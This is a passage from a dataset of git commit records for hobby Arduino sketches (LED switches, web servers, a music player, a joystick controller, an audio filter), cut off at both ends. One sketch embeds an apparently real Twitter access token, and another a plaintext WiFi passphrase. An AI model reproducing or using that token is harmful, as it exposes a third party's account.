endstops\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndstopTest\/EndstopTest.ino","new_file":"EndstopTest\/EndstopTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ca9d606e72fac237f204e27f5ddb4ad10f000ae4","subject":"Added example JsonUdpBeacon","message":"Added example JsonUdpBeacon\n","repos":"peterpolidoro\/ArduinoJson,weera00\/ArduinoJson,peterpolidoro\/ArduinoJson,chuz\/ArduinoJson,ELZo3\/ArduinoJson,hassanabidpk\/ArduinoJson,PeeJay\/ArduinoJson,alyf80\/ArduinoJson,CanTireInnovations\/ArduinoJson,peterpolidoro\/ArduinoJson,ELZo3\/ArduinoJson,firepick1\/ArduinoJson,AndreyAyres\/ArduinoJson,alyf80\/ArduinoJson,janelia-arduino\/ArduinoJson,PeeJay\/ArduinoJson,fayvlad\/ArduinoJson,chuz\/ArduinoJson,AndreyAyres\/ArduinoJson,alyf80\/ArduinoJson,janelia-arduino\/ArduinoJson,venusdharan\/ArduinoJson,hassanabidpk\/ArduinoJson,AndreyAyres\/ArduinoJson,firepick1\/ArduinoJson,janelia-arduino\/ArduinoJson,chuz\/ArduinoJson,venusdharan\/ArduinoJson,janelia-arduino\/ArduinoJson,tirumalavan\/ArduinoJson,PeeJay\/ArduinoJson,spotman\/ArduinoJson,firepick1\/ArduinoJson,hassanabidpk\/ArduinoJson,weera00\/ArduinoJson,CanTireInnovations\/ArduinoJson,tirumalavan\/ArduinoJson,tirumalavan\/ArduinoJson,bblanchon\/ArduinoJson,naveensuryakumar\/json,fayvlad\/ArduinoJson,peterpolidoro\/ArduinoJson,spotman\/ArduinoJson,venkatarajasekhar\/ArduinoJson,naveensuryakumar\/json,bblanchon\/ArduinoJson,spotman\/ArduinoJson,hemantsangwan\/Arduino-Json,weera00\/ArduinoJson,hemantsangwan\/Arduino-Json,fayvlad\/ArduinoJson,ELZo3\/ArduinoJson,bblanchon\/ArduinoJson,venkatarajasekhar\/ArduinoJson,venkatarajasekhar\/ArduinoJson,venusdharan\/ArduinoJson,naveensuryakumar\/json,hemantsangwan\/Arduino-Json,CanTireInnovations\/ArduinoJson","old_file":"examples\/JsonUdpBeacon\/JsonUdpBeacon.ino","new_file":"examples\/JsonUdpBeacon\/JsonUdpBeacon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/CanTireInnovations\/ArduinoJson.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9bfe4b0cd86fb33a3a1c37a8a881b75632b499cd","subject":"Add SerialSwitch Arduino sketch","message":"Add SerialSwitch Arduino sketch\n\nEmulates WiFiSwitch on a bare board (pin-13 led represents relay)\n","repos":"israellevin\/haunter,israellevin\/haunter,israellevin\/haunter,israellevin\/haunter","old_file":"Arduino\/SerialSwitch\/SerialSwitch.ino","new_file":"Arduino\/SerialSwitch\/SerialSwitch.ino","new_contents":"\/* Simulate WifiSwitch (in serial mode) on a bare `duino *\/\n#define SWITCH_PIN 13 \/\/ on-board pin-13 led emulates relay\nint state = LOW;\n\nvoid setup() {\n pinMode(SWITCH_PIN, OUTPUT);\n digitalWrite(SWITCH_PIN, state);\n Serial.begin(9600);\n}\nvoid loop() {\n if (Serial.available()) {\n DoSwitch(Serial.read()=='1');\n Serial.flush();\n }\n delay(50);\n}\n\nvoid DoSwitch(int value) {\n if (value!=state) {\n digitalWrite(SWITCH_PIN, value);\n state = value;\n \/\/Serial.write(state? \"On\\n\": \"Off\\n\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/SerialSwitch\/SerialSwitch.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"2dcd76f263d2646d1a28dd5a5748c322d769cbca","subject":"simple server that checks the connection state, if the connection is lost then the server is reinitialized","message":"simple server that checks the connection state, if the connection is lost then the server is reinitialized","repos":"gfxblit\/mylatestmoneysink,gfxblit\/mylatestmoneysink,gfxblit\/mylatestmoneysink","old_file":"drone\/SimpleServer\/SimpleServer.ino","new_file":"drone\/SimpleServer\/SimpleServer.ino","new_contents":"\/*\n * A simple sketch that uses WiServer to serve a web page\n *\/\n\n#include <WiShield.h>\n#include <WiServer.h>\n\n#define WIRELESS_MODE_INFRA\t1\n#define WIRELESS_MODE_ADHOC\t2\n\/\/ #define DEBUG 1\n\n\/\/ Wireless configuration parameters ----------------------------------------\nunsigned char local_ip[] = {192,168,16,110};\t\/\/ IP address of WiShield\nunsigned char gateway_ip[] = {192,168,16,254};\t\/\/ router or gateway IP address\nunsigned char subnet_mask[] = {255,255,255,0};\t\/\/ subnet mask for the local network\nconst prog_char ssid[] PROGMEM = {\"MP01\"};\t\t\/\/ max 32 bytes\n\nunsigned char security_type = 0;\t\/\/ 0 - open; 1 - WEP; 2 - WPA; 3 - WPA2\n\n\/\/ WPA\/WPA2 passphrase\nconst prog_char security_passphrase[] PROGMEM = {\"abc\"};\t\/\/ max 64 characters\n\n\/\/ WEP 128-bit keys\n\/\/ sample HEX keys\nprog_uchar wep_keys[] PROGMEM = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d,\t\/\/ Key 0\n\t\t\t\t 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\t\/\/ Key 1\n\t\t\t\t 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\t\/\/ Key 2\n\t\t\t\t 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\t\/\/ Key 3\n\t\t\t\t};\n\n\/\/ setup the wireless mode\n\/\/ infrastructure - connect to AP\n\/\/ adhoc - connect to another WiFi device\nunsigned char wireless_mode = WIRELESS_MODE_INFRA;\n\nunsigned char ssid_len;\nunsigned char security_passphrase_len;\n\/\/ End of wireless configuration parameters ----------------------------------------\n\n\n\/\/ This is our page serving function that generates web pages\nboolean sendMyPage(char* URL) {\n \n \/\/ Check if the requested URL matches \"\/\"\n if (strcmp(URL, \"\/\") == 0) {\n \/\/ Use WiServer's print and println functions to write out the page content\n WiServer.print(\"<html>\");\n WiServer.print(\"Hello World!\");\n WiServer.print(\"<\/html>\");\n \n \/\/ URL was recognized\n return true;\n }\n \/\/ URL not found\n return false;\n}\n\n\nvoid setup() {\n WiServer.enableVerboseMode(true);\n\n \/\/ Enable Serial output and ask WiServer to generate log messages (optional)\n Serial.begin(57600);\n\n \/\/ Initialize WiServer and have it use the sendMyPage function to serve pages\n WiServer.init(sendMyPage); \n}\n\nU8 state = 0;\n\nvoid loop(){\n \/\/ Run WiServer\n\n U8 newState = WiServer.getConnectionState();\n \n if(newState != state) {\n state = newState;\n }\n\n if(!state) {\n WiServer.init(sendMyPage);\n }\n \n WiServer.server_task();\n \n delay(10);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'drone\/SimpleServer\/SimpleServer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"623622d0b7ebcbe671460e27bf92905529a6662f","subject":"Finish Arduino-end code","message":"Finish Arduino-end code\n","repos":"yzyzsun\/arduino-bluetooth-music-player","old_file":"Arduino\/ArduinoBluetoothMusicPlayer\/ArduinoBluetoothMusicPlayer.ino","new_file":"Arduino\/ArduinoBluetoothMusicPlayer\/ArduinoBluetoothMusicPlayer.ino","new_contents":"#include <SD.h>\n#include <SPI.h>\n#include <MusicPlayer.h>\n\ntypedef enum {\n MP_PLAY = 'a',\n MP_PAUSE,\n MP_BACKWARD,\n MP_FORWARD,\n MP_PREV,\n MP_NEXT,\n MP_VOL_UP,\n MP_VOL_DOWN,\n MP_MODE_NORMAL,\n MP_MODE_SHUFFLE,\n MP_MODE_LIST,\n MP_MODE_SINGLE\n} MPCommand;\n\nvoid setup() {\n Serial.begin(115200);\n player.begin();\n player.setPlayMode(PM_NORMAL_PLAY);\n player.scanAndPlayAll();\n}\n\nvoid loop() {\n if (Serial.available()) {\n MPCommand cmd = (MPCommand)Serial.read();\n Serial.write(cmd);\n switch (cmd) {\n case MP_PLAY:\n player.opResume();\n break;\n case MP_PAUSE:\n player.opPause();\n break;\n case MP_BACKWARD:\n player.opFastRewind();\n break;\n case MP_FORWARD:\n player.opFastForward();\n break;\n case MP_PREV:\n player.opPreviousSong();\n break;\n case MP_NEXT:\n player.opNextSong();\n break;\n case MP_VOL_UP:\n player.opVolumeUp();\n break;\n case MP_VOL_DOWN:\n player.opVolumeDown();\n break;\n case MP_MODE_NORMAL:\n player.setPlayMode(PM_NORMAL_PLAY);\n break;\n case MP_MODE_SHUFFLE:\n player.setPlayMode(PM_SHUFFLE_PLAY);\n break;\n case MP_MODE_LIST:\n player.setPlayMode(PM_REPEAT_LIST);\n break;\n case MP_MODE_SINGLE:\n player.setPlayMode(PM_REPEAT_ONE);\n break;\n }\n }\n player.play();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ArduinoBluetoothMusicPlayer\/ArduinoBluetoothMusicPlayer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d3ed83953ce0320097c4d07c2f583b7492d837e9","subject":"Create Alfa.ino","message":"Create Alfa.ino","repos":"fluuffy\/Tweeturino","old_file":"src\/Alfa.ino","new_file":"src\/Alfa.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include <Twitter.h>\n \n\/\/ Alter IP address to suit your own network!\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; \/\/ create MAC address for ethernet shield\nbyte ip[] = { 192, 168, 0, 8}; \/\/ choose your own IP for ethernet shield\nTwitter twitter(\"1330657854-1lsI6hP3qGuy0hVKpaDm6hK7DM9B5OS3f3J7RrH\"); \/\/ replace aaaaaaa with your token\n \nvoid setup()\n{\n delay(1000);\n \n if (!Ethernet.begin(mac)) \/\/ Try to connect using DHCP\n Ethernet.begin(mac, ip); \/\/ Try to connect using a Static IP address.\n delay(100);\n \n Serial.begin(9600);\n delay(100);\n \n Serial.print(F(\"Connected to IP address: \")); \/\/ Print out the IP address.\n for (int i = 0; i < 4; i++)\n {\n Serial.print(Ethernet.localIP()[i], DEC);\n Serial.print(\".\"); \n }\n Serial.println();\n Serial.println();\n}\n \nvoid tweet(char msg[])\n{\n Serial.println(\"connecting ...\");\n if (twitter.post(msg))\n {\n \/\/ Specify &Serial to output received response to Serial.\n \/\/ If no output is required, you can just omit the argument, e.g.\n \/\/ int status = twitter.wait();\n int status = twitter.wait(&Serial);\n if (status == 200)\n {\n Serial.println(\"OK.\");\n } \n else\n {\n Serial.print(\"failed : code \");\n Serial.println(status);\n }\n } \n else\n {\n Serial.println(\"connection failed.\");\n }\n}\n \nvoid loop()\n{\n delay(1000);\n tweet(\"Purple monkey dishwasher\");\n do{} while(1>0); \/\/ endless loop\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Alfa.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"62806985a64647f25ab5cdcc017b6fc9475d3dd1","subject":"added forward function","message":"added forward function\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b4ab398079aeeb1e6aa6020c1284d070154a779b","subject":"separate chord and pattern choosing","message":"separate chord and pattern choosing\n","repos":"andydrop\/klampfinator,andydrop\/klampfinator","old_file":"src\/campfireXL\/campfireXL.ino","new_file":"src\/campfireXL\/campfireXL.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/andydrop\/klampfinator.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"4bafff8e7f992cc383837f0e41c47216ac65ea3d","subject":"Create ADB_ESP8266_webServer.ino","message":"Create ADB_ESP8266_webServer.ino","repos":"yesnoj\/ESP8266-And-DashButton,yesnoj\/ESP8266-And-DashButton","old_file":"ADB_ESP8266_webServer.ino","new_file":"ADB_ESP8266_webServer.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h> \n#include <ESP8266WebServer.h>\n\nextern \"C\" {\n #include <user_interface.h>\n}\n\n#define RELAY_Pin D1\n#define LED_Pin 2\n#define WLAN_SSID \"ESPap\"\n#define WLAN_PASS \"thereisnospoon\"\n\nstruct softap_config config;\nuint8_t monitoringMAC1[6] = {0x34 , 0xD2, 0x70, 0x1A, 0x80, 0x15};\nboolean detectingMAC1 = false;\nint detectInterval = 8000; \/\/msec\nunsigned long lastDetectedMillis = 0;\n\nESP8266WebServer server(80);\n\nvoid ICACHE_FLASH_ATTR wifi_handle_event_cb(System_Event_t *evt) {\n if (evt->event != EVENT_SOFTAPMODE_PROBEREQRECVED) {\n return;\n }\n \n uint8_t* mac = evt->event_info.ap_probereqrecved.mac;\n if (memcmp(mac, monitoringMAC1, 6) == 0 && detectInterval < (millis() - lastDetectedMillis)) {\n lastDetectedMillis = millis();\n detectingMAC1 = true;\n }\n}\n\n\nvoid setup() {\n delay(1000);\n Serial.begin(115200);\n Serial.println();\n Serial.print(\"Configuring access point...\");\n connectWiFi();\n initializePage();\n server.on(\"\/\", initializePage);\n server.on(\"\/RELE\", webOnOff);\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\nvoid loop() {\n server.handleClient();\n if (detectingMAC1) {\n webOnOff();\n }\n}\n\nvoid connectWiFi() {\n WiFi.disconnect();\n delay(10);\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n delay(100);\n Serial.print(\"\\nConnecting to \");\n Serial.print(WLAN_SSID);\n \/\/ Wait for connection\n int i = 0;\n while (WiFi.status() != WL_CONNECTED && i++ <= 10) {\/\/wait 10 seconds\n Serial.print(\".\");\n delay(1000);\n }\n if (i == 11) {\n Serial.print(\"\\nCould not connect to network...\");\n while (1) delay(500);\n }\n Serial.print(\"\\nConnected to IP address: \");\n Serial.println(WiFi.softAPIP());\n wifi_set_event_handler_cb(wifi_handle_event_cb);\n}\n\n\nvoid initializePage() {\n updateHTML(checkClient());\n}\n\nString checkClient() {\n WiFiClient clientConnected = server.client();\n String ipClient = clientConnected.remoteIP().toString();\n return ipClient;\n}\n\n\/\/Aggiorna la pagina del webserver\nvoid updateHTML(String IP) {\n pinMode(RELAY_Pin, OUTPUT);\n String webpage = \"\";\n webpage += \"<div id=\\\"header\\\"><h1>MiniServer ESP8266<\/h1><\/div>\";\n\n webpage += \"<h2>Client connected :<\/h2>\";\n webpage += IP;\n \n webpage += \"<div id=\\\"section\\\"><h2>RELE Status<\/h2>\";\n webpage += \"RELE has been switched : \" + String((digitalRead(RELAY_Pin) == HIGH) ? \"ON\" : \"OFF\");\n webpage += \"<br><br>\";\n webpage += \"<input type=\\\"button\\\" value=\\\"RELE \" + String((digitalRead(RELAY_Pin) == HIGH) ? \"ON\" : \"OFF\") + \" \\\" + onclick=\\\"window.location.href=\\'\/RELE\\'\\\">\";\n \n webpage += \"<\/div>\";\n\n server.send(200, \"text\/html\", webpage);\n delay(1000);\n}\n\n\nvoid initializePins() {\n pinMode(LED_Pin, OUTPUT);\n pinMode(RELAY_Pin, OUTPUT);\n \n digitalWrite(LED_Pin, HIGH); \/\/ turn off LED with voltage HIGH\n digitalWrite(RELAY_Pin, LOW); \/\/ turn off relay with voltage LOW\n}\n\n\/\/Gestione degli eventi quando si accede dalla pagina web\nvoid webOnOff() {\n String requestUrl = server.uri();\n Serial.println(\"Connected client: \" + checkClient());\n updateHTML(checkClient());\n if (requestUrl.indexOf(\"RELE\") != -1 || detectingMAC1) {\n pinMode(RELAY_Pin, OUTPUT);\n pinMode(LED_Pin, OUTPUT);\n digitalWrite(RELAY_Pin, !digitalRead(RELAY_Pin));\n digitalWrite(LED_Pin, !digitalRead(LED_Pin));\n Serial.println(\"Switched ON\/OFF\");\n detectingMAC1 = false;\n }\n initializePage();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ADB_ESP8266_webServer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8cf31a3029295199a8efeb25abdbb8bd0b5c66a4","subject":"Added controller firmware","message":"Added controller firmware\n\nTested working; refresh rate is 50ms.\n","repos":"EEJeffMan\/Runt_Rover","old_file":"Controller\/Controller.ino","new_file":"Controller\/Controller.ino","new_contents":"\/*\n * Title: Controller\n * \n * Author: EEJeffMan\n * \n * Description: Receiving control command from joystick, encoding it into a byte and sending it to Xbee via UART (software serial)\n * \n * Hardware:\n * Controller: Arduino pro 328 3.3V\n * Sparkfun xbee shield\n * Prallax analog joystick soldered to xbee shield\n * Xbee series 1\n * 400mAh LiPO battery\n * \n * Connections:\n * Left\/right joystick output: A0\n * Up\/down joystick output: A1\n * Data out to xbee: D3\n * \n * NOTE: switch on xbee shield should be in the position \"DLINE\" instead of \"UART\".\n * \n * NOTE: Originally created 1\/14\/13\n * \n *\/\n\n #include <SoftwareSerial.h>\n \n #define\t\tLeftTurnThreshold\t\t350\/\/150\n #define\t\tRightTurnThreshold\t\t650\/\/450\n #define\t\tBackThreshold\t\t\t350\/\/150\n #define\t\tForwardThreshold\t\t650\/\/450\n #define Xpin 0\/\/5\n #define Ypin 1\/\/4\n #define TXpin 3\n #define RXpin 2\n \n #define ForwardOnly 8\n #define ForwardLeft 9\n #define ForwardRight 10\n #define LeftOnly 1\n #define RightOnly 2\n #define BackLeft 5\n #define BackRight 6\n #define BackOnly 4\n #define None 0\n \n struct OUTPUT_BITS{\n unsigned Left\t\t:1;\n unsigned Right\t\t:1;\n unsigned Back\t\t:1;\n unsigned Forward\t:1;\n unsigned\t\t\t:4;\n };\nunion OUTPUTS{\n int All;\n struct OUTPUT_BITS bits;\n };\n\n\/*\n1 = Left\n2= Right\n3= N\/A\n4= Back\n5=Back Left\n6= Back Right\n7= N\/A\n8= Forward\n9 = Forward Left\n10 = Forward Right\n11 = N\/A\n*\/\n\nunion OUTPUTS Outputs;\n\nunsigned int Xnum,Ynum;\nunsigned MoveMode = 0;\nunsigned PrevMode = 0;\n\nSoftwareSerial mySerial(RXpin, TXpin);\n\nvoid setup()\n{\n mySerial.begin(9600);\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n\n while(1)\n {\n \n delay(50);\n digitalWrite(13, true); \/\/ Flash a light to show signs of life\n Xnum = analogRead(Xpin);\n Ynum = analogRead(Ypin);\n \n PrevMode = Outputs.All;\n \n \/\/assumes voltages are low to the left and down on the joystick...\n if(Xnum < LeftTurnThreshold)\n {\n Outputs.bits.Left = 1;\n Outputs.bits.Right = 0;\n }\n else\n {\n Outputs.bits.Left = 0;\n }\n if(Xnum > RightTurnThreshold)\n {\n Outputs.bits.Right = 1;\n Outputs.bits.Left = 0;\n }\n else\n {\n Outputs.bits.Right = 0;\n }\n if(Ynum < BackThreshold)\n {\n Outputs.bits.Back = 1;\n Outputs.bits.Forward = 0;\n }\n else\n {\n Outputs.bits.Back = 0;\n }\n if(Ynum > ForwardThreshold)\n {\n Outputs.bits.Forward = 1;\n Outputs.bits.Back = 0;\n }\n else\n {\n Outputs.bits.Forward = 0;\n }\n \n MoveMode = Outputs.All;\n \n \/\/debugging\n \/\/Serial.print(\"Output=\");\n \/\/Serial.println(Outputs.All);\n \n \/\/ if(!(MoveMode == PrevMode))\n \/\/{\n \/\/Serial.println(Outputs.All);\n mySerial.write(Outputs.All+48);\n Serial.print(\"X=\");\n Serial.println(Xnum);\n Serial.print(\"Y=\");\n Serial.println(Ynum);\n Serial.print(\"Output=\");\n \n switch(Outputs.All)\n {\n case None:\n Serial.println(\"None\");\n break;\n case ForwardOnly:\n Serial.println(\"Forward\");\n break;\n case ForwardLeft:\n Serial.println(\"Forward Left\");\n break;\n case ForwardRight:\n Serial.println(\"Forward Right\");\n break;\n case LeftOnly:\n Serial.println(\"Left\");\n break;\n case RightOnly:\n Serial.println(\"Right\");\n break;\n case BackLeft:\n Serial.println(\"Back Left\");\n break;\n case BackRight:\n Serial.println(\"Back Right\");\n break;\n case BackOnly:\n Serial.println(\"Back\");\n break;\n default:\n Serial.println(\"Error\");\n break;\n }\n \/\/}\n\t\n\t\/\/mySerial.write(Outputs.All+48);\n \n digitalWrite(13, false); \/\/ Flash a light to show signs of life\n\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Controller\/Controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ea0e11a760145962474ae3fc187f64b7fbf7089e","subject":"Initial Commit","message":"Initial Commit\n","repos":"RefugeeOpenWare\/VisionImpairment","old_file":"vibe_watch_v2.ino","new_file":"vibe_watch_v2.ino","new_contents":"#include <NewPing.h>\n#include <RunningMedian.h>\n\n\/\/Define the pins for the ultrasonic sensor's echo and trigger pins \n#define DISTANCE_ECHO 3\n#define DISTANCE_TRIGGER 2\n#define MAX_ULTRASONIC_DISTANCE 500\n#define M1 6\n\nNewPing sonar(DISTANCE_TRIGGER, DISTANCE_ECHO, MAX_ULTRASONIC_DISTANCE);\n\nint getDistanceFromUltrasonicSensor(){\n \/\/Create an instance of the RunningMedian class with the number of samples to use\n RunningMedian samples = RunningMedian(7);\n \n \/\/Get the 7 samples\n for(int i= 0; i<5; i++){\n delay(50);\n int pingVal = sonar.ping();\n \n int distance = pingVal \/ US_ROUNDTRIP_CM;\n if(distance == 0){\n distance = 3000;\n }\n samples.add(distance);\n } \n \/\/Return the median value\n return samples.getMedian(); \n}\n\n\nvoid setup()\n{\n \/\/Initialize serial communication to send the distance value to the serial monitor\n Serial.begin(9600);\n pinMode(6, OUTPUT);\n\n}\n\nvoid loop()\n{\n int distance_cm;\n distance_cm = getDistanceFromUltrasonicSensor();\n \n Serial.print(distance_cm);\n Serial.print(\"cm\");\n Serial.println();\n \n if (distance_cm < 40) \n {\n lt_100();\n } \n \n else if(distance_cm < 100) \n {\n lt_200(); \n } \n\n else; \/\/ if there's nothing in front of us\n {\n nothing(); \n }\n}\n\n\n\nvoid lt_100() {\n digitalWrite(M1,HIGH);\n delay(70);\n digitalWrite(M1,LOW);\n delay(35);\n}\n\nvoid lt_200() {\n digitalWrite(M1,HIGH);\n delay(70);\n digitalWrite(M1,LOW);\n delay(180);\n}\n\nvoid nothing() {\n digitalWrite(M1,LOW);\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'vibe_watch_v2.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"040d61a380adf68a33a9b2e4bd7ac6d273eea3ca","subject":"Create led.ino","message":"Create led.ino","repos":"sorensicc\/multitasking","old_file":"led.ino","new_file":"led.ino","new_contents":"\/*Implementaci\u00f3n de un sistema multitarea\nMetodolog\u00eda:\nLoop infinito\nLlamado consecutivo de tareas (funciones \"run\")\nCambio de contexto por interrupci\u00f3n\n*\/\n\n#include \"led.h\"\n\nvoid setup(){\n Serial.begin(9600);\n \/\/ tareaBegin();\n ledBegin(13);\n}\n\nvoid loop(){\n \/\/ tareaRun();\n ledRun();\n}\n\nvoid serialEvent(){\n switch(Serial.read()){\n case 'A':\n ledOn();\n break;\n case 'B':\n ledOff();\n break;\n default:\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0484ccd0c9569c3b1fca91abf82e65e46f73c0a9","subject":"Added files via upload","message":"Added files via upload\n\nFirst version working.","repos":"OnkartGromt\/OpenEffectsProject","old_file":"FunkyFellow1_1.ino","new_file":"FunkyFellow1_1.ino","new_contents":"\/*\nFunkyFellow1_1.ino\nFilter effect using state variable filters. \nThanks to Paul Stoffregen, www.PJRC.com, that made the great audio library fro Teensy! Plus all the other great stuff!\nThis code can be loaded into a Teensy3.1\/3.2 with a Audio sheild. Use a I2C 64x128 OLED screen to show the graphics. \nAll in all use the OpenEffectsBox from OnkartGromt. \n *\/\n#include <EEPROM.h> \n#include <Bounce.h> \n#include <Audio.h>\n#include <Wire.h>\n#include <SPI.h>\n#include <SD.h>\n#include <SerialFlash.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\n\/\/ GUItool: begin automatically generated code\nAudioSynthWaveform waveform1; \/\/xy=106,573\nAudioSynthWaveformDc dc1; \/\/xy=109,473\nAudioInputI2S i2s1; \/\/xy=140,314\nAudioSynthWaveformDc dc2; \/\/xy=140.88888549804688,358.8888854980469\nAudioEffectMultiply multiply2; \/\/xy=248,532\nAudioAnalyzePeak peak3; \/\/xy=254,573\nAudioEffectMultiply multiply3; \/\/xy=298.8888854980469,313.8888854980469\nAudioMixer4 mixer3; \/\/xy=393,492\nAudioFilterStateVariable filter1; \/\/xy=456,147\nAudioEffectMultiply multiply1; \/\/xy=495,420\nAudioAnalyzePeak peak1; \/\/xy=673,420\nAudioFilterStateVariable filter2; \/\/xy=759,151\nAudioFilterStateVariable filter3; \/\/xy=759,204\nAudioFilterStateVariable filter4; \/\/xy=759,257\nAudioMixer4 mixer2; \/\/xy=911,78\nAudioMixer4 mixer1; \/\/xy=911,216\nAudioMixer4 mixer4; \/\/xy=1187,295\nAudioAnalyzeFFT1024 fft1024_1; \/\/xy=1385,389\nAudioAnalyzePeak peak2; \/\/xy=1394,297\nAudioOutputI2S i2s2; \/\/xy=1394,342\nAudioConnection patchCord1(waveform1, 0, multiply2, 1);\nAudioConnection patchCord2(waveform1, peak3);\nAudioConnection patchCord3(dc1, 0, multiply2, 0);\nAudioConnection patchCord4(dc1, 0, mixer3, 0);\nAudioConnection patchCord5(i2s1, 0, multiply3, 0);\nAudioConnection patchCord6(dc2, 0, multiply3, 1);\nAudioConnection patchCord7(multiply2, 0, mixer3, 1);\nAudioConnection patchCord8(multiply3, 0, multiply1, 0);\nAudioConnection patchCord9(multiply3, 0, filter1, 0);\nAudioConnection patchCord10(multiply3, fft1024_1);\nAudioConnection patchCord11(multiply3, 0, mixer4, 3);\nAudioConnection patchCord12(mixer3, 0, multiply1, 1);\nAudioConnection patchCord13(filter1, 0, filter2, 0);\nAudioConnection patchCord14(filter1, 0, mixer2, 0);\nAudioConnection patchCord15(filter1, 1, filter3, 0);\nAudioConnection patchCord16(filter1, 1, mixer2, 1);\nAudioConnection patchCord17(filter1, 2, filter4, 0);\nAudioConnection patchCord18(filter1, 2, mixer2, 2);\nAudioConnection patchCord19(multiply1, peak1);\nAudioConnection patchCord20(multiply1, 0, filter1, 1);\nAudioConnection patchCord21(multiply1, 0, filter2, 1);\nAudioConnection patchCord22(multiply1, 0, filter3, 1);\nAudioConnection patchCord23(multiply1, 0, filter4, 1);\nAudioConnection patchCord24(filter2, 0, mixer1, 0);\nAudioConnection patchCord25(filter3, 1, mixer1, 1);\nAudioConnection patchCord26(filter4, 2, mixer1, 2);\nAudioConnection patchCord27(mixer2, 0, mixer4, 0);\nAudioConnection patchCord28(mixer1, 0, mixer4, 1);\nAudioConnection patchCord29(mixer4, peak2);\nAudioConnection patchCord30(mixer4, 0, i2s2, 0);\nAudioConnection patchCord31(mixer4, 0, i2s2, 1);\nAudioControlSGTL5000 sgtl5000_1; \/\/xy=662.0000305175781,536.0000305175781\n\/\/ GUItool: end automatically generated code\n\n\/\/Pinout board rev1\nint Pot1 = A6; \/\/ select the input pin for the potentiometer\nint Pot2 = A3; \/\/ select the input pin for the potentiometer\nint Pot3 = A2; \/\/ select the input pin for the potentiometer\nint Pot4 = A1; \/\/ select the input pin for the potentiometer\nint CV1 = A10;\nint CV2 = A11;\n\nint Tap1 = 0;\nint Tap2 = 1;\n\nint SW1 = A12;\nint SW2 = A13;\n\nint ledPin1 = 3; \/\/ select the pin for the LEDonoff\nint ledPin2 = 4; \/\/ select the pin for the LEDyellow\nint ledPin3 = 5; \/\/ select the pin for the LEDmode\/tap\n\n\/\/Variables for values\nboolean Tap1Value = 0;\nboolean Tap2Value = 0;\nfloat Pot1Value = 0; \nfloat Pot2Value = 0; \nfloat Pot3Value = 0; \nfloat Pot4Value = 0; \nint SW1Value = 0;\nint SW2Value = 0;\nfloat CV1Value = 0;\nfloat CV2Value = 0;\nfloat Pot1ValueOld = 0; \/\/ variable to store the previous value\nfloat Pot2ValueOld = 0; \nfloat Pot3ValueOld = 0; \nfloat Pot4ValueOld = 0; \nint SW1ValueOld = 0;\nint SW2ValueOld = 